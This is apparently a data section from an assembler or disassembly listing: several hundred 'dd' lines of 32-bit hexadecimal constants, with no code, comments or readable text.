		dd 6C7311D6h, 8409F4B4h, 0F77A4217h, 79B58745h,	783DBF04h
		dd 9CBF9CBAh, 90297F40h, 0B2AAD35Dh, 5553C93Bh,	5B9273C7h
		dd 472D0C0Ch, 7B74AECFh, 0F0ADA301h, 0B64E3F1Ah, 61742D3Fh
		dd 0E9DF093Fh, 31E0C092h, 4ACCEEFEh, 0D779B8DBh, 0F591E090h
		dd 72B183FEh, 7EA9694Ch, 0E032C09h, 0B85F489h, 0BCFDDE81h
		dd 0C81DA20Bh, 5C296649h, 7020DCD0h, 86C39D26h,	336AE018h
		dd 0DFC6B734h, 126CFC95h, 75F1AD2Dh, 0B7511102h, 0D7E8017Ch
		dd 99263181h, 32AE4230h, 22C13289h, 5E1C3C31h, 9BD828EAh
		dd 526875CFh, 0AC0C19B6h, 39DA755Dh, 0DE989E5Eh, 8C024ABDh
		dd 6A404D53h, 50DB9EACh, 0C5979FB2h, 5CB3004Eh,	0E917C380h
		dd 0D2A07A2Fh, 5B4658D5h, 0B455D502h, 58FF2D20h, 0D0FCA2DAh
		dd 4768151Ch, 277D5557h, 237258D3h, 0E055EF01h,	0F93128B1h
		dd 58E11D70h, 1A3CFD1Bh, 83F4F1A5h, 0C7AE131Ch,	7301688Bh
		dd 0D4542DB4h, 4FD1E970h, 0E12FE421h, 630CE009h, 0F4075F47h
		dd 0BF2005E5h, 6C9A6307h, 6DE92FD1h, 0E74FB12Ch, 0E2A24E1Dh
		dd 1F4FD130h, 395B6F0Dh, 0E9822AE2h, 88D16040h,	8E3568C3h
		dd 0E4A25E9Fh, 489D218Ch, 56AA680Bh, 0B635951Bh, 8838BA93h
		dd 0BFBA0552h, 0BF0EA105h, 93EA5C0h, 6A1648C1h,	9FF38405h
		dd 80C2ABE7h, 2F80F4DFh, 6967BEDDh, 0D3D585DFh,	63DD62CCh
		dd 29CB905Dh, 0C23AD2EFh, 9F7E5004h, 407AEA52h,	80F41404h
		dd 661EBC0h, 0DBF60806h, 9FC64D70h, 0B5E00F71h,	48946846h
		dd 0ADE4B6Bh, 92A97827h, 5BF68022h, 0F0BDE7C1h,	0DB5C098Ah
		dd 0D7827E6h, 28D4A18h,	0EC45370Ch, 57F0A046h, 4EA817BFh
		dd 0C4A9E06Eh, 0F747662Dh, 0D805990Bh, 6C8CEAC3h, 0A34C4C11h
		dd 0F656C0E4h, 624FF52Eh, 86F10EBh, 82A4EE49h, 897D32B8h
		dd 0EBB6513Dh, 2CBDE8FDh, 0D12AC79Ch, 0FC1872EDh, 0F4C551C9h
		dd 2B68F962h, 745A9D78h, 2F0BC9FFh, 4372097Eh, 0D83B8093h
		dd 89D6BD03h, 484F2758h, 0CE041B32h, 941E8F0Fh,	481FFD91h
		dd 512009B9h, 0E6E58202h, 5E6242FAh, 0AFEE97FCh, 0E6BC9357h
		dd 508F6010h, 5241159Bh, 9EF3B92Fh, 2FD28020h, 6C103023h
		dd 0B60C85Ah, 0F381621Dh, 5545554Bh, 0FB4BFD05h, 3F2CF101h
		dd 0F96A0F7Eh, 765F2D28h, 0EB13121Bh, 31BDE574h, 5EAB2F7Fh
		dd 0EB09E83Ah, 80B1D855h, 0E540C2B5h, 0A0E29671h, 5253ACC0h
		dd 80B43FB2h, 7F8D2AFh,	0E65978B5h, 0B3F3E7EFh,	22060021h
		dd 34D9B050h, 784C045Dh, 220206Dh, 0FD2F681h, 7DE42EDh
		dd 0DF129820h, 0A3019AFCh, 0F893E9F5h, 0E1672AFh, 4C74720h
		dd 3E2694B8h, 690FC07Ah, 7C5FCE57h, 7CB6F9C4h, 0BDF6325Bh
		dd 14266DD6h, 7E555000h, 0B55DEE89h, 97204D50h,	0EA054AC6h
		dd 7F51B4C7h, 8135ED65h, 0C912AA2Bh, 0B9E4B0EFh, 2DE37AFFh
		dd 671B6809h, 79AD6647h, 0FBF56396h, 0CA01EA72h, 88BCEA80h
		dd 0D8C15AD0h, 0BD41F7FCh, 0D80FECAh, 0E333071Eh, 510521B2h
		dd 0BA7EE952h, 285BE620h, 41795C25h, 0EA3B7D34h, 0F9C6B180h
		dd 0E3A33FEAh, 5F56992Dh, 12E946Ah, 3BCE6614h, 5EF9D840h
		dd 0DEF3C40h, 4A7E50B9h, 0E811A401h, 78037218h,	2F5DA30Ch
		dd 934168A0h, 0AB0F2B8Eh, 1DB8125Eh, 0D3517327h, 0CE095B82h
		dd 108D793h, 1FB100AAh,	96E94860h, 0A8232EF3h, 0C629B768h
		dd 34B62028h, 5797F880h, 0F746EB0Ch, 9D7C76D2h,	8625F48h
		dd 61D6D9BFh, 8132B0E9h, 5DFCE2D5h, 0C83F2ED8h,	6859E944h
		dd 74BB0008h, 0C1695F49h, 43073FEBh, 4F542516h,	5198A8F2h
		dd 3BA1861Dh, 49B03F01h, 0E13020E8h, 0C870F1F6h, 8125D397h
		dd 9E941EEh, 124A3BC5h,	0FB2FC0B9h, 23C2E94Ch, 0E9E2F576h
		dd 985BF087h, 0EE623B38h, 68EFE4Eh, 85F9022Fh, 0DE137262h
		dd 36EA0Fh, 5FB47E6Eh, 7469CAE9h, 0AF8777ADh, 32672F56h
		dd 0FD79BCE0h, 0F341B85Ah, 74213FDFh, 0A86E0E21h, 5F1E4E2Dh
		dd 0B18C3113h, 0BA05FDABh, 0D830BC7h, 0C58B0212h, 2F181DB7h
		dd 2C60C162h, 46906839h, 0A738C939h, 81DAD246h,	903FE908h
		dd 1854BEB7h, 0A120CD2Fh, 339A6CEEh, 0D048177Fh, 7D56CAE1h
		dd 0E8BFD17Bh, 276B6A2Dh, 4CE00359h, 0A5A2DFC0h, 0DBA9B182h
		dd 0F207900Ah, 3152449Ah, 0F41A40D5h, 0F153C0EEh, 5BB78587h
		dd 68E42FFDh, 0A0DD9004h, 2048BC58h, 420114A7h,	9405EA81h
		dd 47E884Dh, 16FB1E0Bh,	0D1499D09h, 0FA7C899Eh,	5C9F63A1h
		dd 0C1878526h, 8CB05B6Eh, 84F3249Ah, 3C6B0B84h,	123C82D1h
		dd 8CAA19BCh, 9584C425h, 0E13546D0h, 0C9BE330Fh, 0F3A02ED0h
		dd 99CE160Ch, 0F90C1630h, 0FC044FA2h, 5C09CB51h, 8DE2998Bh
		dd 5E5D8CC0h, 34E62390h, 5F4F9A27h, 0B1BA2B04h,	9BB92A54h
		dd 178FB2D6h, 0ADCC567Fh, 0D22D4E8Ch, 904410Eh,	644BE0BEh
		dd 0E71F4912h, 41D7480Eh
		dd 6580E9FBh, 0EBB62682h, 39C1B753h, 69FEE5A7h,	22512F97h
		dd 51A189E7h, 5A54C25Ch, 7B4B935Bh, 41A16257h, 756C0054h
		dd 0C8B73F0Fh, 990ED394h, 2DA2F84h, 0FFCE685Ah,	0E80FDB4Ch
		dd 0A5357431h, 49D84412h, 950F0E6h, 7E94734h, 4948DE70h
		dd 0DD3C0FF1h, 0F7D2D2CBh, 974758F1h, 0B332FCCDh, 0AD03C93Dh
		dd 8BD2E96Ah, 0F8908057h, 0B5536346h, 0E7A4E2FCh, 5F2D0210h
		dd 496C6990h, 534C98B7h, 20B5A454h, 5E4F601Bh, 4E7DAAE6h
		dd 0F5D89154h, 2F13FA3h, 6F71BE2Fh, 0E87C5C01h,	9D21FC4h
		dd 0F7E55729h, 0E9D03107h, 0C9FB2174h, 0AEAC3BC6h, 0E254Fh
		dd 61C8F7D5h, 0CB658973h, 0B2EA595Dh, 0F2E9C2D2h, 8A29F742h
		dd 1A020702h, 27A84777h, 5EE0C5F6h, 0BE162068h,	415760A2h
		dd 65B61B0Bh, 90529F96h, 0C6A073B8h, 8D30148Eh,	309A0C53h
		dd 15D1FF3h, 851B9EEh, 13140CA0h, 46AA9DE9h, 0C15B8623h
		dd 92BF5A75h, 89F160C3h, 40A6307Dh, 0A80CEC3Ch,	5EDC3C48h
		dd 680CF2A9h, 473F54CAh, 0B65200F5h, 4B46F03Fh,	660A222Ch
		dd 742F857Bh, 7B840A0h,	607A0A7Eh, 0D96E3F25h, 0F8153CFFh
		dd 4028D1FDh, 0DE1E27A9h, 53D24733h, 0DEB7C7D8h, 596054C4h
		dd 495744BEh, 9F4EB008h, 0D468D9C8h, 7DC03053h,	4697857Fh
		dd 0BB027B4Ah, 30774BD8h, 9DC9E95Bh, 0C0794A8Bh, 49F1DEA5h
		dd 0D43D4F87h, 2EA7E508h, 3A372DEAh, 0F5A95D21h, 41C86800h
		dd 0E867599Dh, 0DB44043Fh, 0DF0C09FEh, 0E98512EDh, 7340D057h
		dd 0E703B0BBh, 53520006h, 0A6484B68h, 0C13D5B4Ah, 809FD0E3h
		dd 0B42A2405h, 3C31DA89h, 0B700ED3Fh, 0F7278090h, 4B095D7Dh
		dd 47BC9484h, 5A00B6BBh, 16CEBE0Bh, 0C3188431h,	2FF053FFh
		dd 747C3C3Bh, 0E95F85F3h, 88AB5FF7h, 4696570Eh,	0EAF0376Fh
		dd 82FEE480h, 4B0BC509h, 0BFBC18FEh, 427E25CEh,	52F3D441h
		dd 243BACC1h, 5803BD56h, 0BB109731h, 0BC0B5F59h, 0C5E04AF6h
		dd 41624A76h, 0C69F1B2Ch, 5AF3A6Fh, 0FF26092Dh,	21ECE78Dh
		dd 8080EDE4h, 49AB2D59h, 9BEA58B4h, 6B4E3672h, 74147ECh
		dd 57305485h, 6E1FBA18h, 1AAC1E02h, 9545901h, 31EAA8BAh
		dd 6676AC0h, 2AD4748h, 6B3EC2EFh, 45BD416Ch, 6B52B501h
		dd 0C12CD9C2h, 0F8D7B1C6h, 0B6FEECDFh, 0E1688412h, 0F4F7D847h
		dd 8020D661h, 522EB9EBh, 3F2FFDA4h, 0E92AC1E5h,	5A05B5EEh
		dd 6588E8FDh, 61395A36h, 127CBEBFh, 0AC7F0234h,	9206B74Ch
		dd 8B3351DBh, 4B172411h, 0DCEA88F8h, 5D04B913h,	79824F21h
		dd 0E07509E8h, 3E70D7DBh, 0B8955423h, 0B4036F14h, 0B0E4808Eh
		dd 0E417EC9Bh, 1D08D6CCh, 2BD63082h, 7BE76E5Eh,	80517F5h
		dd 0C9103FEDh, 0FD881C06h, 5B59EA85h, 0BB8CC8EEh, 4C7A5058h
		dd 0BD527BFh, 739E5764h, 6A259CA4h, 228F462Ah, 0FCC5033Eh
		dd 0A10821B7h, 42816E4h, 0EE5E52AFh, 0A3AFD734h, 0DDE983BEh
		dd 0C6DB2F12h, 369A8E77h, 24C064BAh, 6B7FC203h,	35225A0Bh
		dd 9111477h, 9E004B84h,	1CA2656Fh, 6D0BF3ECh, 0D752A337h
		dd 0C6291982h, 89F6D957h, 0D1A527E9h, 795EBA2Dh, 8ECE7B8Ah
		dd 0B38C3ECAh, 0BFF56D97h, 5E6A5940h, 2D107F5Ch, 888B7937h
		dd 243C0652h, 7108E1E2h, 0ECAD17D0h, 7AAC04DDh,	64C029C7h
		dd 0C60C0BBh, 0B6E94593h, 0E35968CFh, 995C0B8h,	1E811E0Dh
		dd 6C0E96CDh, 5C50076h,	0E925C85Ch, 9FB87D32h, 0E8A541CBh
		dd 897D852Fh, 2077F942h, 73446456h, 508BF05h, 0D42EBCCDh
		dd 0E8555AB9h, 81A534BDh, 663BF4ACh, 6139681Dh,	0D6B1F331h
		dd 579EC82Bh, 0B42C1D62h, 0D103774Ch, 127E725Fh, 61D5142Dh
		dd 0ED5CD01Eh, 3A0A4132h, 860583B8h, 0AED25945h, 4EED50D0h
		dd 1CCE0A7Eh, 44DFD501h, 3BF38DB6h, 0F25E17ACh,	9EF2C48Bh
		dd 0CB99D016h, 5A0BD388h, 6304EBC0h, 0DF48DA66h, 253F3747h
		dd 0BE5F804Ah, 12717467h, 90F3014Eh, 26685F08h,	0BEE64F5Bh
		dd 0A174EE5Bh, 4E57E7AEh, 1BEC5384h, 49C0E9F0h,	648237B4h
		dd 0D5E490BDh, 8CA1B0Fh, 0EF7CA5B4h, 38CCD7FAh,	0A0F6534h
		dd 4075A3F2h, 15A65ED3h, 0D6E58D28h, 29AC215Bh,	7348E33Bh
		dd 0C90910D3h, 0FD2B8C9Fh, 0D3DE592Ch, 0FE0B6D49h, 15B08E33h
		dd 0A954C30Bh, 3C57564Bh, 87183AB4h, 15065CE7h,	6981DC95h
		dd 0F2C926C5h, 9EB64CBDh, 0C197C61Ch, 0D6F68EEEh, 0EF07D5C0h
		dd 0F381DFB3h, 0A8086B5Ah, 0F4280E5Fh, 9587A8E4h, 0F109AF96h
		dd 80207E35h, 1EAD5F48h, 89029DBEh, 70E9E499h, 445F5ED5h
		dd 6A87AAC0h, 590125F4h, 2CD48850h, 0E6B7A7CBh,	0C881F1D5h
		dd 5902117Bh, 824EDF7h,	333C62F7h, 99B78CF1h, 0BC7D40B8h
		dd 0CD36C107h, 0E4D7990Dh, 219432A6h, 585DBF4Ch, 5AFFF47Ch
		dd 538D02DDh, 0CBD0D6B3h, 0B37AFA30h, 13EF1705h, 0E629D9B7h
		dd 0A0814B55h, 843A6FE9h, 114CBE4h, 64BF6852h, 0F82A31F4h
		dd 6DF0A427h, 60C141ACh, 3408333Eh, 3C312A9Dh, 4F3EE680h
		dd 0A0E91D35h, 57FC09B7h, 0A8853AEEh, 4DB5E985h, 85ACD552h
		dd 20DD5F2Fh, 76CA33F0h, 2FF7B403h, 91609ED7h, 31680B25h
		dd 0A087457Fh, 6848A015h, 90D9973Bh, 702DE7A4h,	0BF131A53h
		dd 47400BE8h, 462C7D91h, 0C794D561h, 15D1308h, 0E1AC21AEh
		dd 9FAA0775h, 0DE27E448h, 7AE9D06Dh, 1198F75Bh,	0EDD3E459h
		dd 0FD52BB17h, 8411E73Bh, 0EF832A45h, 2E800CA0h, 2EEF9162h
		dd 0E0B0170Ch, 0F358090Bh, 0D9E73B54h, 30FFD301h, 799EE985h
		dd 57555EC0h, 275D2D68h, 5ED8769Ch, 0E11AFC01h,	7B9E92Bh
		dd 9E05D769h, 0B81EEF73h, 42048DD9h, 9F8ABD3Bh,	0BB376C4Ch
		dd 72719FEEh, 0A87ED6A7h, 0C705BF23h, 6C39BB5Dh, 0C5588202h
		dd 0E4688500h, 555BCC75h, 0E99AE972h, 130BF12h,	0BCF60E0h
		dd 40F46F9Dh, 0D67D0CF5h, 241024C4h, 0E9F70FB2h, 0BF831313h
		dd 0FED202E3h, 4F9F3CB4h, 0EB4AC4D1h, 0E85B0FE3h, 0F75AB8A2h
		dd 54DDFF04h, 0D14FC2Bh, 8A6C9BE9h, 0F13D816Eh,	0C3B000B1h
		dd 40A072Ch, 65E234C4h,	0D45F8333h, 41F88C62h, 5082DEA7h
		dd 40FC5BDDh, 875E54BAh, 86860F8h, 3623DE2h, 54D46F68h
		dd 3F9F9E2Bh, 27AD9060h, 0A7C61202h, 0DA1FCE7Bh, 2F8B4731h
		dd 0B194B154h, 4F5A3D64h, 7D50A353h, 5A440E25h,	0DAC90BA8h
		dd 0E289E2B5h, 16ABF05h, 33289460h, 0DDE6077h, 39F5F682h
		dd 119E3A6h, 493402F3h,	3FF23FD2h, 0D10A9F0Fh, 0F9A572h
		dd 6167E908h, 87B13AB7h, 4F430F7Fh, 727E75h, 812E1F1Ah
		dd 62789FE3h, 0E9955C50h, 82C4964Eh, 6A553DBBh,	54034871h
		dd 1FC36E38h, 34D6B33Fh, 0E90EF20Ch, 0CF02CE6Ah, 0DE050306h
		dd 68C2D018h, 34B6435Eh, 23606B62h, 0B1421E8h, 50FBD05Eh
		dd 531E0AD5h, 29D574FCh, 0E87770D0h, 0FD173AE1h, 893CCAAEh
		dd 44A1595Ch, 48B0BBC7h, 0DB0117E9h, 0B88C90FEh, 3F141997h
		dd 9D4805h, 2ECF0246h, 9D5BD829h, 0F1807364h, 0BB3D5815h
		dd 0C10DA773h, 79704647h, 991C076Bh, 0E4F10972h, 5F8AA03Ch
		dd 68515303h, 0AFD63493h, 5DE82FD2h, 300B53B0h,	0FF8CF283h
		dd 7CEB2E48h, 0D8DAC327h, 0F5859708h, 0BB6EC531h, 98068286h
		dd 0AF9A20E5h, 0F0815A4Fh, 6B308D5Bh, 0ADF89EB0h, 4DFA33ECh
		dd 98D3D75Eh, 0D97CC1CDh, 5755386Ah, 4141E6FEh,	34BEC72Eh
		dd 0BE73C4C6h, 9D0C5796h, 83E496FAh, 1DE86FFFh,	809294F5h
		dd 1467DE12h, 3A7D5258h, 7563F737h, 8873ED0Ch, 4BB76827h
		dd 10DCB33Fh, 0AC4BB8EEh
		dd 0D6E0109Bh, 0B6E18101h, 0DB338D09h, 26DBB8E0h, 0C8292019h
		dd 84E8F8ACh, 0A3EA95EBh, 0D7979BFAh, 0AAEB932Bh, 364FEA10h
		dd 0F144FA4Fh, 0DDAEC1E4h, 0A5E7CF88h, 0F77CD151h, 0C20BADD1h
		dd 0F1E760B8h, 28413421h, 0BCD302E0h, 8863AF99h, 2DF95BA8h
		dd 83AC014Eh, 76A0841h,	354E65E1h, 80BC11Ah, 93946F4Fh
		dd 0D13E49BDh, 80B8501Fh, 574FD11h, 0D4272A18h,	0F064E310h
		dd 7A1E3023h, 6C473F2Dh, 4A0DA8DEh, 0C53E64BFh,	0B099F86Eh
		dd 0BC72C068h, 4ED06080h, 9D907A95h, 0B222703h,	8253E91Fh
		dd 0A7D477FFh, 40E5BDEFh, 9FD62926h, 2DE0C960h,	0F759C101h
		dd 7D0E68DDh, 0E74E0433h, 3C2210F1h, 6B25E34h, 9803EA90h
		dd 356FED81h, 0A9742DAh, 0B3EB1FD9h, 12820451h,	0C320D02Bh
		dd 0D5E0E11h, 66C863F1h, 9C68975Ah, 2FE78D51h, 0CA8E00ABh
		dd 45DC106Ah, 0DE7D0E9Dh, 89D83F44h, 5D6E2EBh, 0AE4957C2h
		dd 1C04A9B8h, 0AA0F8C36h, 8065FB1h, 8414820Ch, 3CD9E6F1h
		dd 1E3D7DFCh, 923257Ah,	7B8553A1h, 7664FB73h, 3E1F51BCh
		dd 6347CB50h, 1676105Dh, 8FF89D9Fh, 0D419A870h,	400E454Ah
		dd 0B777D5D4h, 3398667Ah, 8BD7912h, 0E92866E8h,	0BA7E9508h
		dd 55F9F662h, 3E685A21h, 0C42E6861h, 0A794FA38h, 1E0736C0h
		dd 5F85981Ch, 5CEF013Bh, 3AC8BE0Fh, 564028EEh, 61AB2AFBh
		dd 2821E941h, 0DEA14ED6h, 949E61CEh, 0BBA3764h,	7C327522h
		dd 0F227A254h, 790B8337h, 0BC5CB7D8h, 0B133F727h, 13137E8h
		dd 0B80C1F60h, 97021D54h, 80D37EAh, 5614000Ch, 175A4CE9h
		dd 0FCBB3574h, 112AF1B7h, 0E0C6D196h, 0C4395894h, 4F36CE2Eh
		dd 6E867D1Ah, 0E9C2CABAh, 0E4FC4680h, 0DD55ED89h, 0ABD84D3Bh
		dd 4113A873h, 0F0EC101h, 43E5A551h, 0F0F15AC4h,	58B2CB6Ch
		dd 198B57C0h, 0DDEE22D6h, 82348E1Fh, 0C2E6D54h,	814BFB2Bh
		dd 5B3E7872h, 0C5B1D85Bh, 600BCA7Ch, 0DBE889D4h, 33E90948h
		dd 0EF41C4DEh, 6B6225B9h, 0C4B54F7Eh, 4F07AE26h, 79213375h
		dd 0DEA75158h, 130E0709h, 0C1F41657h, 0E64C683Ah, 809F355h
		dd 0E96249C5h, 0B98D5D99h, 392C6E6Ah, 0FB5D4E5Ah, 0B75375CCh
		dd 7E2AD3EFh, 80CC2991h, 0B21A4572h, 0D776F85Eh, 227DE68h
		dd 3F50F3BFh, 1E1AB19Bh, 97CBF3A9h, 0E6EDBEAAh,	0F8A9547Fh
		dd 838B55Fh, 0EB97A611h, 0EADFB93Ah, 5F121222h,	0E894D04Ch
		dd 0CB84D49h, 0A8D0DF60h, 0BD9B0A7Fh, 0E4EBADE9h, 3F50871Fh
		dd 6DC9DBAAh, 6128DF2Dh, 19E64F8Ah, 28EC9EDEh, 805EF078h
		dd 49E26813h, 8E68F063h, 0D4B6A8A4h, 0B4BCE4E5h, 287B89B1h
		dd 0CB6CC4A1h, 0D79C0EB8h, 171724EEh, 0AFF51295h, 692A80DDh
		dd 0BD9E81AAh, 0C921B599h, 0A82F6821h, 64E90A8Fh, 0B2482869h
		dd 8D5E6F27h, 0A7B101E0h, 0F37CFC34h, 943EE5A9h, 39B53063h
		dd 0D69F78CAh, 0E4F75A4Dh, 0CF813B4Ch, 473D3138h, 9DD17B93h
		dd 640D262h, 0F582B508h, 929FD663h, 6ED088E8h, 0F6B1942Dh
		dd 0EB7F53B0h, 0CE03C83Fh, 0B8B79CBEh, 91BEFCBAh, 12FD46F3h
		dd 0D38FE981h, 0C28E2EFEh, 19D75E25h, 3A5083h, 0B1AB8B4h
		dd 2BF41BC4h, 5E311040h, 40E1E3F7h, 0F9401189h,	2C5B0266h
		dd 0B5C7808Dh, 0AE2A4B77h, 0E95816E7h, 0C481C596h, 0C1408091h
		dd 734FD64Ah, 4086350h,	0FEDDE7E9h, 1A56DACh, 97E3F65h
		dd 8EA46B2Ch, 0EBCE1781h, 0C1A90952h, 0D417520Dh, 3F13280Ch
		dd 88BF01F8h, 0CAB05571h, 0B3895B4Eh, 91B5F6Ah,	4EDDA6C3h
		dd 1DA149ACh, 1DD932Eh,	75732825h, 399AF57Fh, 5ADB4C48h
		dd 0F8804CF3h, 0BD136D6Ch, 11609700h, 5BDD3146h, 56509D29h
		dd 0B75E0540h, 0EE7374CEh, 0A1653CF5h, 570014F5h, 480FE068h
		dd 895F10C3h, 0E2E75797h, 610F3224h, 766AEB1Fh,	0FD88C23Ah
		dd 40D92802h, 0BD5B485Dh, 885D49ECh, 135E3B21h,	67AF8A77h
		dd 935A30Eh, 0B2166576h, 6904402Ch, 0FE017633h,	0F8D7F6CFh
		dd 12D264DDh, 81DF34FAh, 88D95h, 0B8EB295Fh, 4B740B53h
		dd 36E209E8h, 6649616Ch, 0C92010DEh, 0B473A05Bh, 0A33FA941h
		dd 0F0C2092h, 670D50BCh, 0D1D5B4B7h, 3DF44150h,	0A5BCF54Bh
		dd 2E410C4h, 0FD54CE68h, 0B7F29766h, 0BE01AABBh, 20DE170Eh
		dd 7C20AE3Ah, 3B7877CEh, 0F60E03A5h, 0DFC3F8F5h, 0FAFC5856h
		dd 8E5822B6h, 87C4EA5Ch, 6A84241Ch, 0E87FACB1h,	63BFC0FAh
		dd 2F657858h, 0B67D5452h, 75DC9DCDh, 4F1AE950h,	12171C1h
		dd 0C4226BDFh, 27D7D08Eh, 125F0C33h, 2588581Eh,	0CD461CBFh
		dd 5CB1B404h, 85B9F930h, 16CC2B84h, 0A7C33103h,	0F5DA875h
		dd 0C658B5B7h, 88452221h, 82238F51h, 0CC83088h,	0DE54E7C0h
		dd 35B99C4Eh, 0B54AE8A4h, 2FA3A605h, 9080DC37h,	309920h
		dd 57464E5Eh, 0FED682E9h, 9572EC9Dh, 5CB7EF1Eh,	0B0227A50h
		dd 0F977230Eh, 25691DC9h, 0B438AAE6h, 70FB5B0Fh, 2C583D8h
		dd 0E9639895h, 4D0D67D1h, 0BC8175D3h, 0FBDC4B0Eh, 0B86812F0h
		dd 27BFBD76h, 2F992EFh,	185A09B5h, 0D7837230h, 5C2579D2h
		dd 0C09E637Ch, 0BB81C00h, 5772F11h, 4A37EA76h, 925DE0C2h
		dd 88130097h, 16805AD5h, 0B066D1F5h, 0B7389B75h, 0ADD73EDFh
		dd 623F820h, 0E5C0C5FEh, 324C2C04h, 0D6CC2574h,	0D4BA6527h
		dd 8FF2BE20h, 2DF1FC92h, 2031F5BDh, 1BF26E20h, 0BFFD535Ah
		dd 0B5C1FF24h, 7907F4F2h, 0B28FF07h, 7CB56C7Dh,	0D0445EE9h
		dd 6D42F103h, 0C717707Bh, 7E22FECDh, 9A7C5D87h,	5375E759h
		dd 0A153BD2Ah, 0AF04DE21h, 3A41D629h, 242FCCC4h, 0C9458342h
		dd 9E68B8C4h, 8D9F297Ah, 0BF123CC4h, 4E1B5D02h,	0CBB240DBh
		dd 0C13539EEh, 300BB848h, 0D0DC4650h, 4E23F302h, 78E2DD26h
		dd 0FEF534C0h, 6E9E549Dh, 82EB4AB1h, 4EDF5A41h,	0E911C2EEh
		dd 0BBFDD812h, 0B6C2D92Ch, 0AE3B2B25h, 0E9526970h, 0FC695EECh
		dd 5059C972h, 0F00558FBh, 0AB5EE217h, 97547BC8h, 0A9BFC005h
		dd 0B00F5E90h, 0DF70CB5Ah, 683CAD96h, 82374F60h, 4B158840h
		dd 2AF85831h, 6D66F04Ah, 0B0F7EF40h, 0A90E4946h, 5CD25938h
		dd 70ED8100h, 172AA61h,	6D1CF560h, 0B847AF43h, 0E5E9252Ah
		dd 4E87F929h, 0D0069451h, 6D97684Eh, 5B27831Dh,	0D446D389h
		dd 23A26F07h, 0D8DF74EAh, 0BF5734A6h, 83C1BB75h, 0E260FA87h
		dd 25229642h, 175479FCh, 0EB5515Ch, 0E943CDB3h,	8916CB5Dh
		dd 28AE052Eh, 0CE25833Eh, 0B340C4FEh, 0E8978F04h, 855197F2h
		dd 0EA4BD42Ah, 58666CC8h, 9E44CC5h, 6575294Eh, 2169A899h
		dd 25BCE8A6h, 77E862D5h, 3A359748h, 0C8A72181h,	0F874C655h
		dd 0FDD9C503h, 40418D2Ah, 0B71B3383h, 0D1EE0D4Bh, 0B861E9D4h
		dd 3DDED15Ah, 34F04B48h, 0ECF65FA8h, 0C62882DAh, 0C16EC258h
		dd 0B800D2E3h, 463D1D43h, 48342539h, 2EBBC233h,	3B49641Ch
		dd 86784D7Dh, 2367B902h, 70F130FAh, 0DEEEE942h,	0C9923ACFh
		dd 81F933C4h, 12A954EBh, 60C8267h, 0B2B20h, 3BC449D4h
		dd 0C6FC7B90h, 0C4508A3h, 2089F214h, 7F5AB056h,	17E2F551h
		dd 645DF6D4h, 0B6CBE0F5h, 0F726EDB0h, 0C502ED66h, 57FD288Ah
		dd 12092E09h, 3AC20842h, 9D281CFFh, 4EC85302h, 5B59F07Eh
		dd 0A027B96Fh, 0EF96DBE9h, 978F1E2h, 0FAD4AFE6h, 0E2BB5DE5h
		dd 138AB1EAh, 205B3A92h, 7B7F93EEh, 5CC635Ch, 133162FCh
		dd 73FEB603h, 0AAE9B12Bh, 0A82F4A35h, 0C3EAB1C5h, 1C561EADh
		dd 4835F262h, 9C74624Ah, 4BDA696Eh, 2994E919h, 40E18F24h
		dd 49A5C6E1h, 2F2D16F5h
		dd 0C34C436Fh, 55D50127h, 62E9F590h, 0D74E2FEDh, 105E2429h
		dd 0BAD20FBh, 26608838h, 0A708A1Eh, 0E2E93F01h,	18798CCFh
		dd 0FBED1B4Eh, 18F32DC4h, 3DF7ED94h, 292D7A03h,	19B8BA82h
		dd 680F28F9h, 1E61F7B2h, 0EE04483Bh, 0E3124EB8h, 56349CF1h
		dd 0DE766854h, 71CC9F5Bh, 63A5690Bh, 25C9E6FDh,	2E092B88h
		dd 69A671DDh, 33447351h, 0F848E902h, 0DDD12869h, 69097AEFh
		dd 6056F866h, 0C9F2A193h, 712D010Ch, 287D229h, 1C3D9839h
		dd 4455E889h, 0DAE4958Eh, 68B60195h, 0CF894F83h, 0BB5EDE10h
		dd 70F23062h, 0FF56BFA0h, 0A0B57025h, 64EA246h,	85E91048h
		dd 0FEB43691h, 626DEB02h, 73C08032h, 2F0E4D0Fh,	0F4AA22E9h
		dd 0BB5CB403h, 0E0178513h, 0B53832Ch, 0DAB639B3h, 0F7234C06h
		dd 990F35B1h, 0A6BA33E0h, 307809Dh, 1E0536DAh, 2D486368h
		dd 85B99BDEh, 0E17242CCh, 68A78CBBh, 284D3D24h,	4F207D6Bh
		dd 7BBB4961h, 0F7A3E598h, 444B6EB0h, 7AE9F85Ah,	2D78BA25h
		dd 469B1F90h, 4CF1BE80h, 581224Fh, 2F0A1BE6h, 0D8DC0B15h
		dd 6DA63960h, 0FE1CDB2Dh, 9281DB4h, 49FF0F42h, 0A1BE5892h
		dd 0ACEE6816h, 2AEF5BC2h, 952C1CAEh, 5AFAC81Fh,	0E3B72CFFh
		dd 86E6E54Ah, 6D21EA4Ah, 53078114h, 0AC4AC1D0h,	60729FAEh
		dd 1B2FB964h, 495938F4h, 0ABE1D192h, 0AC8B613h,	7328092Dh
		dd 71F67A3Bh, 5B130720h, 8A83C331h, 0E9754B96h,	4D6E167Fh
		dd 17E463FBh, 0EB817DA8h, 7E107A0Eh, 0BACBC050h, 0F860E21Fh
		dd 0E4FE76F3h, 20D3A46Ch, 0FAF0899Dh, 0DAB632E8h, 4D1C6861h
		dd 0EA037276h, 814EFC76h, 0D060F2A8h, 6316175Eh, 0F94E1BBDh
		dd 6A1B8BC9h, 7F3542C5h, 3F9AAA0Bh, 574C1266h, 9EF25BD8h
		dd 0E9F2F1DFh, 4A8A3C3Fh, 0C7A203A8h, 2422F077h, 0CA3DF01h
		dd 0D0D754D1h, 0BB4B19EEh, 3A86F990h, 2950CADFh, 89579DC0h
		dd 2874E0FCh, 796A80E9h, 97514F34h, 8824EFAh, 0FA6E3341h
		dd 0C55AB64Ch, 592FBEE9h, 0E494056h, 662F3004h,	5B3AC17Ch
		dd 0B62FA1F9h, 2EEBF469h, 0C0EE16BAh, 0FB309317h, 1CA54B4Bh
		dd 10C0806h, 153D546Ah,	7EC5E959h, 76F7BC90h, 3ED82511h
		dd 0D2DD8004h, 617855C1h, 98890E90h, 0A2FB425Fh, 0C405905Ah
		dd 41677A76h, 38F501BBh, 2B215064h, 0D405D900h,	744F7825h
		dd 23453A2Dh, 89F2AB51h, 4C3FE07h, 316CC75h, 4BB45030h
		dd 5706BB3Ah, 4074D029h, 8726BB6Ch, 0F82FABF7h,	0BDE0B8A0h
		dd 513F8260h, 6F5F74BDh, 0ABD58B45h, 0D9DC54Dh,	7310B07Bh
		dd 81B01072h, 94B40C4Eh, 0BAA9F037h, 0C9BE03CCh, 464E2B03h
